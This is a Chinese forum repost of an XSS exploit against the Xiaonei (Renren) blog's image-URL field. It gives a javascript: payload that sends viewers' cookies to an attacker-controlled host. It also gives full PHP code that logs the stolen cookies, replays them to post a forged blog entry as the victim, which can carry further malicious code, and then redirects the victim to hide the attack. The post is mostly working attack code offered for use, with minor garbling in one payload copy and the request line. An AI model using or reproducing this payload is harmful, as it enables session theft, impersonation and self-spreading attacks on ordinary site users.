• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    校内网最新 xss Cookies得到密码

    发布者: 霞绮2878 | 发布时间: 2025-6-28 23:13| 查看数: 50| 评论数: 0|帖子模式

    From:http://t00ls.net/viewthread.php?tid=1323&highlight=

    校内网在发blog时对插入图片过滤不严格,存在xss漏洞.

    在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码
    javascript:window.location.href='http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie='+document.cookie

    javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码
    <?php
    ob_start();
    $url = 'blog.xiaonei.com';
    $cookie=$_GET['cookie'];
    $cookie1=$cookie."\r\n\r\n";
    fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt
    //发一条伪造的日志,这条日志里面也可以插入恶意代码
    $sock = fsockopen("$url", 80, $errno, $errstr, 30);
    if (!$sock) die("$errstr ($errno)\n");
    $data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";
    fwrite($sock, "OST http://$url/NewEntry.do HTTP/1.1\r\n");
    fwrite($sock, "Accept: */*\r\n");
    fwrite($sock, "Referer: http://$url\r\n");
    fwrite($sock, "Accept-Language: zh-cn\r\n");
    fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
    fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
    fwrite($sock, "User-Agent: Mozilla\r\n");
    fwrite($sock, "Host: $url\r\n");
    fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
    fwrite($sock, "Connection: Keep-Alive\r\n");
    fwrite($sock, "Cache-Control: no-cache\r\n");
    fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
    fwrite($sock, $data);
    $headers = "";
    while ($str = trim(fgets($sock, 4096)))
    $headers .= "$str\n";
    echo "\n";
    $body = "";
    while (!feof($sock))
    $body .= fgets($sock, 4096);
    fclose($sock);
    //echo $body;
    //跳转到一个正常的日志
    Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx");
    ob_end_flush();
    ?>


    来源:https://www.jb51.net/hack/16359.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表